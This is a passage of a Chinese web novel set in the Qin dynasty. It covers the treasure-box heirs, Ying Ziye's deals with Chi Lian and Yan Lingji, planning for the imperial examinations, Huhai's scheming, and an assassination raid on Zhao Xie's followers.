“本公子观之,无论是那项氏少主,还是韩室红莲,抑或赵地宵小,其身上并无特殊功法印记,身份亦是天差地别,有皇室贵胄,亦有落魄旧臣。”
“这传人之说,依据何在?”
星光似乎在他问出这句话时变得更加明亮了些。
东皇太一并未立刻回答。
下一刻。
那高大的身影竟无声无息地从高台上飘落。
宛如一片没有重量的幽暗之羽,悄无声息地落在了赢子夜身前丈许之地。
即便离得如此之近,那面具下的双眼依旧如同深不见底的寒潭,窥探不到一丝情绪。
“公子请看。”
东皇太一缓缓抬起一只手,宽大的袖袍中露出的手指苍白修长。
随着他的动作,周围星辰图谱骤然亮起!
无数光点汇聚,在他们二人之间勾勒出一幅浩瀚繁复的星辰运转图景。
七颗主星尤为耀眼。
各自对应着一个若隐若现的青铜盒虚影。
“七国宝盒,并非凡物。”
“它们本身,便各自蕴含了一部分源自苍龙七宿的星辰之力。”
东皇的声音带着一种古老的韵律。
“所谓传人,并非天生注定。”
“一者,若身负该国最纯粹之皇室血脉,因其先祖之血早已在宝盒七分之时便融入其中,血脉共鸣,自成钥匙。”
星辰图景中,代表各国宝盒的光影微微颤动,仿佛与冥冥中的血脉之力相互呼应!
“二者。”
东皇太一继续道,指尖轻点,一颗星辰的光辉骤然放大,映照出宝盒上繁复的纹路。
“若有无上天纵之才,能凭自身悟性,勘破宝盒之上蕴含的力量奥秘,并将其引导入体,那么,即便他出身微末,亦可成为宝盒认可的执掌者,亦即传人。”
赢子夜眼中精光一闪,立刻捕捉到了关键!
“依阁下所言,若得宝盒,再寻一悟性超绝之人令其参悟,岂非同样能造就出一位传人?”
“何必执着于寻找那些流落各处的旧王室血脉?”
东皇太一缓缓颔首,却又缓缓摇头,动作带着一种非人的滞涩感。
“理论可行,然其条件…极为苛刻。”
他声音里多了一丝难以察觉的叹息。
“其一,所需时光漫长,或许十年,或许百年,方能窥得门径。”
“苍龙七宿之力,岂是易与?”
“其二,所需之人,非仅聪慧,需是百年难遇,乃至千年难遇之奇才,心性、悟性、机缘缺一不可!”
他转向赢子夜,面具似乎正洞穿赢子夜的心思。
“故而,最简之法,自是寻那流有旧日王室之血者,血脉牵引,最是便捷。”
“其次,便是寻那已被宝盒认可,已然存在的传人。”
“最下之策,方是自行培养……”
“其难,无异于登天!!”
赢子夜闻言,彻底恍然。
所有线索在此刻贯通,原来如此!
血脉是捷径,悟性是正道,而自行培养则近乎渺茫。
这便解释了为何各方势力都在不遗余力地寻找那些六国遗族。
他沉吟片刻,决定抛出部分情报以换取更多合作。
“既如此,有一事或需阁下知晓。”
“据本公子所得消息,赵国故地,近日有流言兴起,称有赵氏遗贤得传国宝盒,天命在赵。”
东皇太一静立无声,仿佛早已料到。
赢子夜继续道。
“本公子欲派人前往探查,为免打草惊蛇,或需阴阳家从旁协助,派出一位精通伪装探查之人,混入那赵歇身边。”
“可。”
东皇太一答得没有丝毫犹豫。
“星魂麾下,有大司命精于此道,且擅幻术控心,可助公子辨明真伪,监控动向。”
“善。”
赢子夜点头,随即话锋一转,语气变得深沉。
“至于韩国传人,红莲,亦即流沙之赤练……”
“此人身份特殊,牵扯流沙与卫庄。”
“招揽之事,不必阴阳家插手,本公子会亲自处理。”
东皇太一微微躬身,竟是施了一礼。
“有劳公子。”
这表明在阴阳家的谋划中,集齐传人与宝盒的优先级极高,甚至暂时凌驾于派系之别之上。
“而韩国宝盒。”
东皇太一再次开口,声音低沉。
“据阴阳家多年探寻,当年韩非入秦前,极有可能将其交给了他最信任的师弟,张良。”
“此物,十之八九,仍在张良手中。”
“与本公子所想,不谋而合。”
赢子夜嘴角勾起一抹冷冽的弧度。
“小圣贤庄,儒家三当家……本公子已布下暗眼,只待他露出破绽。”
“阴阳家在桑海亦有些许人手。”
东皇太一道。
“公子若有需,尽可调度。”
“苍龙七宿之事,乃阴阳家与陛下共同之所愿,阴阳家必当竭力!”
这便是明确的站队与承诺了。
赢子夜深深看了东皇太一一眼,似乎想穿透那层面具,看清其后真正的意图。
最终,他只是颔首。
“本公子明白了。”
“若有需,自会告知。”
说完,他不再多言,转身拂袖,玄衣身影一步步融入幽暗的廊道之中。
唯有脚步声渐行渐远,最终彻底消失。
密室重归寂静,只余下漫天星辰依旧缓缓流转,映照着东皇太一那亘古不变般的神秘身影。
他缓缓抬起手。
一枚幽暗的棋子虚影在指尖凝聚,又悄然湮灭于星光之下。
第264章 补偿!
从蜃楼返回府邸的路上。
赢子夜端坐于马车内,指尖无意识地敲击着矮几。
窗外咸阳的街市喧嚣被隔绝开来,车内只有他平稳的呼吸声。
东皇太一的话仍在脑中回响,七国宝盒、血脉传人……
一张清晰的网正在他心中织成。
“赵弋苍。”
他声音不高,却清晰地传入车外随行的心腹耳中。
“卑职在。”
车窗外传来低沉的回应。
“去请两个人来府上。”
赢子夜的声音听不出喜怒,却带着不容置疑的决断。
“流沙,卫庄,还有赤练。”
“就说,本公子有要事相商,关乎……韩国旧事。”
“诺。”
马车粼粼,驶入戒备森严的公子府。
赢子夜径直步入书房,并未等待太久。
门外便传来沉稳与妖娆交织的两种脚步声。
门被推开。
首先映入眼帘的是一身黑衣,白发冷峻的卫庄。
他步伐如山岳般沉重,凌厉的目光扫过书房,最后定格在赢子夜身上,带着审视与毫不掩饰的压迫感。
跟在他身侧的,是一袭红裙,身姿摇曳的赤练。
她嘴角噙着若有若无的笑意,眼神却如毒蛇般敏锐,好奇地打量着这位近来声名赫赫的大秦公子。
“六公子。”
卫庄的声音低沉沙哑,开门见山。
“你找我?”
他并未行礼,姿态依旧孤高,仿佛只是来赴一场平等的谈判。
赢子夜并未在意他的失礼,抬手示意二人坐下。
“卫庄先生,赤练姑娘,请坐。”
“今日请二位来,确有一事相商。”
赤练轻笑着坐下,姿态慵懒,目光却紧紧锁住赢子夜。
“能让公子殿下特意相请,想必不是小事咯?”
“确实不小。”
赢子夜目光转向赤练,直接切入主题。
“此事,与赤练姑娘你,关系更大。”
“本公子需要你的一缕精血,作为开启某样东西的钥匙。”
书房内的空气瞬间凝滞!!
卫庄的眼神骤然变得无比锐利,周身散发出冰冷的杀气,几乎让室温都下降了几分。
“精血?钥匙?”
“赢子夜,你想对她做什么?”
他身体微微前倾,像一头即将扑杀的猎豹,护犊之意显而易见。
赤练脸上的笑容也收敛了,眼中闪过一丝惊疑和警惕,纤细的手指无声地抚上了盘绕在腰间的链剑。
赢子夜面对这几乎凝成实质的压迫,面色却依旧平静如水。
“卫庄先生不必激动。”
他看向卫庄,语气淡然却带着一种奇异的说服力。
“并非什么邪术,更无性命之危。”
“只是需要她一缕蕴含韩国宗室血脉的精血为引,开启一件唯有韩室血脉才能触动之物。”
“事后,赤练姑娘只会略感疲惫,调息片刻即可恢复。”
他顿了顿,目光重新落回神色变幻不定的赤练身上。
“当然,本公子从不让人白白付出。”
“若赤练姑娘同意,自有补偿!”
听到“无性命之危”,卫庄周身的气势稍稍收敛,但眼神依旧冰冷,显然要听下文。
赤练则被“补偿”二字勾起了兴趣。
她眼波流转,重新露出那种妖娆莫测的笑容。
“哦?”
“不知公子殿下,能给出什么样的补偿,来换妾身的一滴血呢?”
赢子夜唇角微勾,也不多言,只是抬手一挥。
刹那间,书房内光华流转,灵气四溢!
只见矮几上凭空出现了数个玉瓶与几卷古朴的卷轴!
玉瓶晶莹剔透,隐约可见其中丹药圆润,丹晕环绕。
卷轴则散发着古老晦涩的气息,显然记载着绝非凡品的功法。
“此乃‘凝碧丹’,可解百毒,亦能大幅提升抗毒之能,于赤练姑娘的毒术应有所助益。”
赢子夜指向一个翠绿玉瓶,又指向另一个氤氲着赤红雾气的瓶子。
“这是‘赤炼元丹’,服之可纯化火属真气,或许能助你的赤练蛇术更上一层楼。”
他目光扫过那些卷轴。
“至于这些,是几部上古流传下的毒经与幻术秘籍,想必比流沙目前所藏的,更为精深玄妙。”
赤练的呼吸微微急促起来,她看着那些丹药和卷轴,美目中爆发出惊人的光彩!!
这些都是她梦寐以求的东西!
尤其是那毒经和幻术秘籍,对她实力的提升难以估量!
她下意识地看向卫庄。
卫庄沉默了片刻,目光从那些宝物上扫过,又看向赢子夜深邃平静的眼睛,最终冷冷地哼了一声,算是默许。
他清楚,这交易,流沙并不亏。
赤练顿时笑靥如花,声音愈发甜腻诱人。
“公子殿下真是大方呢~”
“不过是一滴血罢了,妾身答应了便是。”
她伸出舌尖,轻轻舔过红唇,眼神勾魂摄魄。
“何时需要,殿下吩咐一声就好。”
赢子夜颔首。
“届时,本公子自会告知。”
目的达成,卫庄显然不愿多留,起身便走,黑袍卷起一阵冷风。
赤练娇笑着收起赢子夜推过来的丹药和一卷功法作为“定金”,扭动腰肢,也跟着离开了。
书房门缓缓合上。
就在这时。
一阵香风掠过,带着几分灼热的气息。
赢子夜抬头,只见焰灵姬不知何时如鬼魅般出现在房中,正斜倚在门框上。
一双美目含着戏谑的笑意,望着赤练离去的方向。
她转过头,看向赢子夜,声音慵懒又带着小猫般的撒娇意味,一步步袅袅娜娜地走近。
“啧啧,仅仅是一滴血,公子便给出如此丰厚的奖励……”
“真是让妾身看得好生羡慕呢。”
她走到赢子夜案前,微微俯身,红裙领口下风光若隐若现,眼波流转间尽是挑逗。
“那若是妾身愿意日夜侍奉公子左右,不知…又能得到怎样的奖赏呢?”
赢子夜看着她故作姿态的表演,眼中闪过一丝不易察觉的笑意,身体向后靠向椅背,好整以暇地打量着她,语气平淡却带着一丝玩味。
“哦?”
“那就要看你的……表现了。”
……
晨光透过精致的窗棂,洒在寝殿之内。
空气中还残留着一丝若有似无的旖旎暖香。
赢子夜已然起身,玄色中衣随意披着,神色是一贯的清明冷静,仿佛昨夜并未发生任何值得挂心之事。
他走到一旁的多宝格前,随手取出两个玉瓶和一件东西。
玉瓶剔透,内里丹药隐隐流转着赤红与幽蓝的光泽,一看便知并非凡品。
另一件则是一块鸽卵大小,形态奇特的玛瑙。
通体赤红,其内仿佛封存着流动的火焰与霞光,散发出温热纯净的能量波动。
焰灵姬仍慵懒地卧于榻上,云鬓微乱,红裙松散,勾勒出惊心动魄的曲线。
她看着赢子夜的背影,眼神像只餍足又伺机撒娇的猫。
赢子夜转身,将手中的东西递过去,语气平淡得像是在吩咐一件寻常小事。
“这些灵药,于你稳固火属真气有益,记得服用。”
他顿了顿,目光落在那块火雨玛瑙上。
“至于这个,留着把玩吧。”
焰灵姬的眼睛瞬间亮了起来,尤其是看到那块火雨玛瑙时,她几乎是扑过去接了过来,冰凉的指尖触碰到赢子夜的手掌,带来一丝刻意的流连!
她将玛瑙捧在掌心,感受着其中澎湃而熟悉的火焰力量,脸上绽放出毫不掩饰的惊喜和满足!
“呀!竟是火雨玛瑙!”
她声音又软又媚,带着刚睡醒的沙哑,眼波盈盈地望向赢子夜。
“公子~您对妾身真是太好了!”
“这般稀世宝贝也舍得给妾身?”
她将玛瑙贴在脸颊,一副爱不释手的模样,笑容愈发娇艳。
“有了它,妾身那点微末伎俩,说不定真能精进不少呢~”
“日后……定能更好地‘表现’,不负公子厚赏~”
赢子夜对她这副故作姿态的表演不置可否,只淡淡瞥了她一眼,抬手整理了一下衣襟,准备更衣入朝。
“本公子入朝了。”
“你……”
他目光扫过她因激动而微微泛红的脸颊。
“好生休息。”
说完,他便不再看她,转身向外走去,玄色袍袖拂过门槛,带起一丝不容打扰的冷然气息。
焰灵姬看着他离去的挺拔背影,又低头看了看手中流光溢彩的玛瑙和丹药,唇角勾起一抹真心实意又掺杂着些许野心的笑容。
轻轻哼起了一支百越之地的小调。
慵懒地重新倒回柔软的锦被之中。
第265章 查漏补缺!
咸阳宫,麒麟殿。
晨光透过高窗,落在冰冷光滑的黑曜石地板上,映照着文武百官肃立的身影。
空气凝重,唯有御阶之上那玄色帝袍的轻微摩擦声,以及百官压抑的呼吸声清晰可闻。
嬴政高踞龙榻,冕旒垂面,看不清具体神色。
但那透过珠帘扫视下来的目光,却带着重如山岳的威压,令殿中无人敢与之对视!
丞相李斯手持玉笏,稳步出列,声音清晰沉稳,回荡在寂静的大殿之中。
“臣,李斯,有本奏。”
“讲。”
珠帘后传来嬴政平淡无奇,却足以定人生死的声音。
“启奏陛下。”
李斯微微躬身,条理分明地奏报。
“其一,关于郡县两级科举试。”
“各地郡试、县试已毕,名次业已核定。”
“此次共取中士子一万三千七百余人。”
“因是首次推行,各地有学之仕尚少,故人数略寡。”
“然其中不乏真才实学之辈。”
“如今,这些士子大多已动身,正陆续赶往咸阳,准备参与月后的帝都会试。”
“会试之后,便是由陛下亲自主持的殿试。”
“此乃帝国遴选人才之盛事,万民瞩目。”
他略微停顿,观察了一下御座上的反应,才继续道。
“其二,北疆三座大城。”
“九原、云中、雁门,依陛下前旨开设互市已有数月。”
“如今成效显著。”
“蛮夷各部得以换取粮食、布帛、盐铁,饱暖之欲得偿,边境争端较之往年同期,锐减七成有余。”
“且互市所征商税,数额可观,已为府库增添一笔丰厚收入,于边军粮饷补给大有裨益。”
“其三。”
李斯的声音稍稍提高。
“关于会试、殿试之命题官人选,以及具体考场规制,防舞弊章程,臣与冯去疾大人已初步议定草案,恭请陛下圣裁。”
“考题以《秦律》《商君书》为根基,严考其对秦法之理解与忠诚,兼考算术实用之能,以及经世济国之策论。”
“取中者,不再论出身贵贱,唯才是举,按成绩高下授以相应官职,优胜劣汰,以充实各级官署。”
李斯奏毕,持笏躬身,等待指示。
殿内一片寂静。
许多出身贵族的官员面色微变。
科举如同一条鲶鱼,搅动了他们世代垄断官位的池水,但他们不敢在始皇面前表露丝毫异议。
因为上一批有异议的,现在已经成肥料了。
而一些寒门出身的官员,或心中有才学而苦无门路者,则眼中闪烁着激动与期待的光芒。
珠帘之后,良久无声。
就在众人感到呼吸都有些困难之时。
嬴政的声音终于再次响起,依旧平稳,却带着不容置疑的决断力!
“准。”
一个字,定下了基调。
“郡县取中之士,既已动身,咸阳不可怠慢。”
“李斯。”
“臣在!”
“会试之场地,由你与将作少府即刻勘定。”
“或扩建原有学宫,或另择宽敞之地,务求肃穆宽敞,容得下万人同考,且便于监管。”
“朕,要看到一场公正无弊,为国选材的盛会,而非儿戏。”
“臣,遵旨!”
李斯声音铿锵,深感责任重大
“所需钱财……”
嬴政的目光似乎扫向了掌管皇室财库的少府令。
“从少府支取。”
“帝国取士,不容吝啬。”
少府令立刻出列,躬身应诺。
“诺!臣定当全力保障,不敢有误!”
“至于建造之事。”
嬴政略一沉吟。
“仍交予将作少府章邯督办。”
“他协助帝宫之学建造有功,此事亦当迅捷稳妥。”
章邯出列,甲叶轻响,抱拳沉声道:“末将领旨!必不负陛下重托!”
最后,嬴政的目光似乎穿透珠帘,落在了李斯和站在武将行列前列,一直沉默聆听的赢子夜身上。
“科举一切具体事宜,命题、防弊、阅卷、核定名次……”
“由丞相李斯与子夜,共同统筹商议决断。”
“最终方案,报朕知晓。”
这道命令让殿内泛起一阵极其微小的骚动。
让一位公子,尤其是如今权势正隆的六公子,直接参与科举选官这等国之根本大事!
其中意味,耐人寻味。
李斯神色不变,立刻躬身。
“臣,领旨。”
赢子夜亦从行列中步出,玄衣玉冠,身姿挺拔,面容平静无波,拱手行礼,声音清越沉稳。
“儿臣,领旨。”
“定当与丞相妥善办理,为帝国遴选真才。”
嬴政微微颔首,似乎对赢子夜的沉稳很是满意。
处理完科举之事,他的话题转向北疆。
“北疆互市,成效斐然,李斯,你办得不错。”
嬴政的声音里似乎多了一丝不易察觉的缓和。
“边关安宁,士卒少流血,百姓得安居,方是强国之象。”
“此乃陛下圣心独运,臣不过依令行事。”
李斯谦恭道。
“传朕旨意。”
嬴政的声音陡然提高,带着帝王的赏罚分明。
“北疆九原、云中、雁门三城守将及戍边将士,恪尽职守,开通互市有功,赏!”
“一应士卒,赐酒肉,加发半月饷银!”
“将领依功另行叙赏!”
“陛下圣明!”
殿内武将们,尤其是与北疆有关的将领,纷纷露出喜色,声音洪亮。
“另。”
嬴政继续道。
“此三城百姓,今岁赋税减免三成。”
“令其感念帝国恩德,安心戍边生产。”
“陛下仁德!!!”
文官队列中也传出称颂之声。
这一赏一减,尽显帝王手腕,既犒劳了将士,又收买了边民之心。
“若无他事,便退朝吧。”
嬴政似乎有些倦怠,挥了挥手。
“恭送陛下!”
百官齐声躬身,直到那玄色帝袍消失在屏风之后,才敢缓缓直起身。
李斯与赢子夜对视一眼,彼此眼中都是凝重与了然。
一项关乎帝国未来格局的重任,已然压在了他们的肩上。
而赢子夜的目光则更深邃了几分。
科举,不仅是选官,更是彻底打破贵族垄断,引入新鲜血液,巩固中央集权的关键一步。
父皇将此重任交予他,其意深远。
……
沉重的朝会散去。
百官如同潮水般从麒麟殿中涌出。
三三两两低声议论着方才陛下定下的科举大事,神色各异。
李斯快步追上走在前方的赢子夜。
这位帝国丞相此刻眉头微蹙,脸上带着一丝恰到好处的恳切与凝重。
“公子殿下,请留步。”
李斯的声音压得较低,透着公务上的严谨。
赢子夜闻声停下脚步,转身看向李斯,玄衣玉带衬得他身姿愈发挺拔,脸上是一贯的平静。
“丞相还有何事?”
李斯拱手,语气带着几分不易察觉的求助意味。
“殿下,陛下命我等统筹科举细则,此事千头万绪,关乎国本。”
“虽此前臣等已有些许草案,然诸多细节,譬如命题之深浅尺度,防舞弊之具体关卡,阅卷官之遴选与监督,乃至万名士子入咸阳后的安置调度……”
“桩桩件件,皆需谨慎敲定。”
“斯才疏学浅,恐有疏漏,还需殿下鼎力相助,共同参详。”
他这番话既点明了工作的繁重,又将姿态放低,显得极为尊重赢子夜的意见。
赢子夜目光微动,自然听出了李斯的言外之意。
他唇角勾起一丝极淡的弧度,语气平和却带着不容置疑的掌控力。
“丞相过谦了。”
“此事既由父皇交由你我,本公子自当尽力。”
“纸上谈兵终觉浅,不若……丞相今夜便过府一叙?”
“你我边用膳边详谈,也好将这些琐碎条目一一理清。”
李斯眼中闪过一丝放松,立刻躬身。
“如此甚好!”
“那便叨扰殿下了。”
“斯定准时赴约!”
“好,那便说定了。”
赢子夜微微颔首。
两人简短告别,李斯自回丞相府准备相关文书草案。
赢子夜则继续向宫外走去,步履沉稳。
登上马车后,他略一沉吟,便对车窗外候命的亲随吩咐道:“去,召萧何今夜入府,一同用膳。”
“诺!”
车外传来干脆的回应。
马车缓缓启动,赢子夜靠在车厢内壁,闭目养神。
嘴角却微微扬起一个深邃的弧度。
李斯精于政务律法,是执行细则的最佳人选,但他终究是旧官僚体系的代表。
而萧何,这位他一手提拔起来的能吏。
心思缜密,深知基层利弊,且更倾向于打破陈规。
有他从旁查漏补缺,甚至与李斯形成某种微妙的制衡,这场关乎帝国未来的科举大业,方能推行得更加稳妥,更符合他的预期。
今夜府中的这场晚膳,注定不会只是一场简单的饭局。
……
第266章 为帝国重,为天下重!!!
与此同时。
宫城之外。
百官正各自散去。
十八公子胡亥落在人群稍后处,脸上挂着一贯的,略显轻浮的笑容。
正与几位宗室子弟随口闲谈着方才朝会上关于互市的赏赐。
仿佛对那场决定帝国未来人才格局的科举大事毫不在意。
然而,当他转身走向自己车驾的那一刻,脸上所有伪装的笑意瞬间褪得干干净净。
只剩下一种冰冷的阴沉。
那双遗传自始皇的深邃眼眸里,翻涌着嫉妒、怨毒与一丝压抑不住的兴奋!
他弯腰钻进装饰华丽的马车。
车厢内早已有一名身着不起眼灰衣,面容模糊如同阴影般的男子垂手恭候。
车帘落下,隔绝了外界所有的光线与声音。
胡亥甚至没有看那名罗网杀手一眼。
他靠在柔软的锦垫上,手指无意识地用力捻着腰间玉佩的流苏,指尖因用力而微微发白。
“都听见了?”
胡亥的声音又轻又冷,像毒蛇吐信。
“我那好六哥,如今可是风光无限啊……”
“父皇竟将科举这等大事,都交到了他和李斯手里。”
那灰衣人头颅垂得更低,声音沙哑毫无起伏。
“是,殿下。”
“陛下明旨,由丞相与六公子共同统筹。”
“共同统筹……哼,好一个共同统筹!”
胡亥从鼻子里发出一声极轻的冷哼,嘴角扯出一个扭曲的弧度。
“这是多大的权柄?”
“天下士子的前程,几乎就握在他们二人掌中!”
“真是天赐的良机……”
他的眼神骤然变得锐利而贪婪,里面闪烁着一种近乎疯狂的算计光芒。
“这对他赢子夜是良机,对我胡亥……又何尝不是?”
他低声自语,仿佛在咀嚼着某种美味的毒药。
“万人赴考,鱼龙混杂……这里面,有多少空子可钻?”
“若是运作得当,足以让他身败名裂,永世不得翻身!!!”
他顿了顿,呼吸微微急促,另一个念头让他眼中爆发出更炽热的光彩。
“而且……那些落选的,失意的,怀才不遇的……”
“里面难道就没有可造之材?”
“他们需要的,只是一个机会,一个赏识他们的‘明主’……”
他几乎要笑出声来,仿佛已经看到无数士子投入他的门下。
猛地!
他收束了所有外露的情绪,只剩下冰冷的指令。
他转向那名如同雕像般的灰衣人,声音压得极低,却字字带着狠戾。
“去。”
“给本公子盯紧了。”
“丞相府,六公子府……”
“他们二人见过什么人,说过什么话,尤其是关于科举的每一个细节,一字不落,都给本公子报上来!”
“诺。”
灰衣人没有任何疑问,只是干脆地应声,身影如同融入阴影的墨汁,悄无声息地退出了马车。
车厢内,只剩下胡亥一人。
他缓缓靠回垫子,脸上重新浮现那种惯有的天真又带点残忍的笑容。
只是眼底深处的寒冰,足以冻彻人心!
他轻轻哼起一支不成调的小曲,手指在膝盖上悠闲地敲打着。
……
夜色深沉。
六公子府邸的书房却灯火通明。
不同于寻常宴饮的喧闹,此处气氛严肃凝重!
三张漆案呈“品”字形摆放。
赢子夜独坐主位,李斯与萧何分坐左右下首。
案上虽置有精致肴馔,却无人真正大快朵颐,更多的是一种礼仪性的摆设。
烛火摇曳,映照着三人神色各异的脸庞。
赢子夜端起酒樽,并未饮用,只是指尖缓缓摩挲着冰凉的青铜器壁,目光扫过李斯与萧何,开门见山。
“父皇将科举重担交予我等,此乃国本,不容有失。”
“今日请二位前来,便是要敲定诸多细节,务求周密,堵住一切漏洞。”
他声音平稳,却自带一股令人心凛的威势。
李斯正襟危坐,神色肃然!
“殿下所言极是,臣等自当竭尽全力。”
萧何则微微躬身,姿态谦恭却目光湛然,透着压抑不住的兴奋与专注。
赢子夜放下酒樽,屈指列出要点。
“其一,万名士子不日将涌入咸阳。”
“人多必杂,难保没有六国余孽,居心叵测之徒或江湖宵小混迹其中。”
“咸阳安防,必须加强。”
“此事,本公子会与卫尉、中尉府协调,增派巡防,严查户籍路引。”
“但明面上的盘查,恐有疏漏,暗中的监察……”
他目光微转,看向窗外浓重的夜色,虽未明言,李斯与萧何皆心知肚明。
那必是出动“暗河”之时!
“其二。”
赢子夜继续道:“士子之中,必有贫寒之士,盘缠耗尽,无处栖身。”
“若令其流落街头,有损帝国颜面,亦易生事端。”
“本公子意,可在兴修考院之外,另设一些简易工棚。”
“允这些贫寒士子以工代赈,参与些搬运、清扫之类的轻省劳作,换取食宿之资。”
“此举既可解其困厄,亦能彰显朝廷恤士之恩。”
萧何闻言,眼中精光一闪,立刻补充道:“殿下仁德!”
“此举大善。”
“下官可具体经办,定将此事安排妥当,既不让士子感到折辱,又能切实助其渡过难关。”
他心中暗赞。
公子思虑果然周详,此举不仅能收买寒门士子之心,更能将大量人员纳入管理范围,减少不可控因素!
赢子夜颔首,认可了萧何的请缨。
随即语气骤然转冷,如同寒冰。
“其三,亦是重中之重——”
“防舞弊!!!”
“科举之弊,首在徇私!”
“此乃寒门士子最为痛恨之处,亦是最易被有心人利用,结党营私,买卖功名的捷径!”
“审阅考官之人选,必须慎之又慎!”
李斯眉头紧锁,沉声道:“殿下所虑甚是。”
“阅卷官不仅需学问渊博,更需品行端方,且最好与朝中各派系牵连不深,方能保证公允。”
“臣初步思忖,或可从博士宫中遴选部分资深博士,他们常年埋首典籍,相对超然。”
“此外,各地郡守推荐的几位以刚正著称的老贤,亦可考量。”
萧何沉吟片刻,也谨慎开口。
“下官以为,除却学问品行,阅卷官之家族背景,门生故旧亦需细查,避免同年、同乡、姻亲等关系影响判断。”
“或可效仿秦律‘连坐’之法,数名阅卷官同阅一卷,相互监督!”
“若一人舞弊而他人未举发,则同罪论处,以增其相互惕厉之心!”
“可。”
赢子夜对两人的建议表示认可。
“此事便由丞相与萧何共同拟定一份详尽的阅卷官遴选,监督章程,三日后呈报于本公子。”
他话锋一转,目光如炬,看向二人。
“其四,便是出题。”
“考题乃科举之根,绝不容丝毫泄露。”
“今日请萧何来,正为此事。”
“丞相,萧何,你二人皆乃干吏,识人甚广。”
“依你们之见,朝中或地方,有哪些大才,可担此出题重任?”
“而且,此人需得三样!”
“一,学识渊博,贯通百家尤其深谙秦法。”
“二,心思缜密,守口如瓶。”
“三,最好……并无太显赫之家族牵绊!”
李斯与萧何顿时陷入沉思,烛火噼啪作响,室内一片寂静。
这举荐责任重大,若所荐之人出了纰漏,举荐者亦要受牵连!
良久,李斯率先开口,说出几个名字。
皆是学问深厚却官职不显,或因性格耿直而不得升迁的官员。
萧何稍后补充了几人,其中甚至包括一位因著述秦律释义而小有名气,却因身体孱弱一直在家休养的退隐老吏。
赢子夜静静听着,将每一个名字记于心中。
待二人说完,他眼中闪过一丝决绝的寒光。
“好。”
“便从这些名单中最终核定三人,负责出题。”
“然,为保万无一失……”
他声音陡然森冷。
“自其接下旨意,踏入出题之地起,直至考试全部结束,期间,他们不得与外界有任何接触!”
“饮食起居,皆由专人负责。”
李斯与萧何闻言,心中皆是一凛!!
“殿下之意是……软禁?”
李斯试探问道:“非是软禁,是护卫,亦是隔绝。”
赢子夜纠正道,语气不容置疑。
“此事,交由暗河办理。”
“出题之地,选在城外隐秘别院。”
“暗河之人会全程‘护卫’,就连他们的饭食,也由暗河亲信送入。”
“期间,一只飞鸟也不得随意进出!!!”
萧何倒吸一口凉气,暗道公子手段果然狠辣周密,如此一来,泄题之虑几乎可杜绝。
李斯则是面色凝重,缓缓点头。
“虽不近人情,然……为国选材,不得不如此。”
“臣无异议。”
随后,话题又转向考院的建造,士子登记造册的流程,试卷的印制保管,考场的布置规则等等庞杂琐碎的细节。
三人就着烛光,一项项推敲,时而争论,时而沉思,时而达成一致。
赢子夜每每能一针见血指出关键。
李斯则以其丰富的政务经验提供执行方案,萧何则从基层实际和防弊角度查漏补缺。
窗外天色由墨黑转为深蓝。
继而透出些许熹微晨光……
整整一夜!
书房内的灯火未熄,低沉的商议声也几乎未曾断绝。
直至所有大的框架和关键细节都已敲定,李斯与萧何才拖着疲惫的身躯告退!
走出书房。
清晨的冷风一吹,李斯不禁打了个寒颤1
他揉了揉布满血丝的双眼,脸上带着深深的倦容,更感到一股前所未有的压力沉甸甸地压在肩上。
此事若成,他李斯之名将随科举制青史留芳!!
若稍有差池……
他不敢细想,只能暗自咬牙,务必全力以赴。
而一旁的萧何,虽然同样疲惫,眼底却燃烧着两簇兴奋的火焰。
他回头望了一眼那依旧亮着灯火的书房,心中澎湃难平。
如此重大的国策,公子竟让他参与核心筹划,与丞相李斯同席论事!!
这是何等信任!
何等机遇!
他紧紧攥了攥袖中的手指,暗自发誓,定要抓住这次机会,将公子交代的每一件事都办得滴水不漏。
两人怀着截然不同的心境,踏着晨曦,各自离去。
身后。
公子府的书房内。
赢子夜独自站在窗前,望着渐渐苏醒的咸阳城。
目光幽深,不知又在谋划着什么。
第267章 活要见人,死要见尸!
邯郸故地。
夜雨初歇,泥泞的乡间小路上弥漫着土腥与草木腐败的气息。
一处早已荒废,残破不堪的旧赵宗庙,今夜却透出几分不同寻常的诡秘。
残垣断壁间,隐约有几点灯火摇曳。
伴随着压低的,激动而又惶恐的人语。
赵歇。
这个数日前还挣扎在温饱线上的落魄宗室。
此刻正被七八个衣着各异,却都面带风霜与狂热之色的汉子围在中间!
他手中紧紧攥着那枚样式古拙,雕刻星辰玄鸟的青铜宝盒,仿佛攥着自己骤然改变的命运。
几日间。
凭着那“天命在赵”的流言和这实实在在的“传国信物”。
竟真让他招揽了些许对旧赵仍存念想的游侠和不得志的旧吏!
“诸位!”
赵歇的声音因激动而微微发颤,却努力挺直了腰板。
“此乃天赐良机!”
“暴秦无道,我赵氏天命未绝!”
“待我们联络更多旧部,积蓄力量,他日必可……”
他的话还未说完,破庙之外,凄冷的夜风中,忽然传来一声极轻微,却清晰无比的嗤笑!
那笑声冰冷、飘忽。
带着毫不掩饰的嘲弄。
仿佛夜枭的啼叫,瞬间刺破了庙内众人用热血编织的幻梦。
“谁?!”
赵歇身旁一个满脸虬髯、手持环首刀的壮汉厉声喝道,猛地转身望向庙门外的漆黑。
无人应答。
只有风穿过破洞的呜咽声。
然而,下一瞬,异变陡生!
庙宇四周的阴影仿佛活了过来。
无声无息地,数十道漆黑如墨的身影如同鬼魅般浮现,将他们团团围住!
这些人全身都笼罩在特制的夜行衣中。
面容模糊,唯有一双双眼睛,在黑暗中闪烁着无机质般的冰冷寒光。
没有丝毫人类的情感。
他们动作整齐划一,如同精准的杀人机器。
手中狭长的利刃毫不反光,却散发着凝如实质的杀气!
是暗河!
赵歇身边那几名所谓的“豪杰”顿时脸色惨白!
刚刚升起的豪情壮志被这突如其来的死亡气息碾得粉碎!
有人甚至双腿发软,几乎握不住手中的兵器。
“秦……秦狗的爪牙!!!”
赵歇声音尖厉,充满了恐惧与绝望,将宝盒死死抱在怀里,踉跄着后退!
为首的暗河头目,甚至懒得废话,只是轻轻一挥手。
杀戮,在寂静中瞬间爆发!!
暗河杀手的身法快如鬼魅,配合默契到了极致。
刀光闪动,精准而高效。
几乎没有金铁交鸣的刺耳声,只有利刃割开皮肉,切断喉管的沉闷噗嗤声,以及短暂到几乎来不及发出的濒死哀嚎!
那些刚刚聚集起来的赵氏“旧部”。
在这些专业的杀戮者面前,如同土鸡瓦狗!
顷刻间便倒下了大半!!
鲜血染红了破庙地面的枯草和碎砖。
赵歇吓得魂飞魄散,一屁股跌坐在冰冷的泥地上,裤裆间一片湿热骚臭。
他看着那暗河头领一步步逼近,冰冷的眼神落在他怀中的宝盒上。
“不…不要杀我…宝盒给你!”
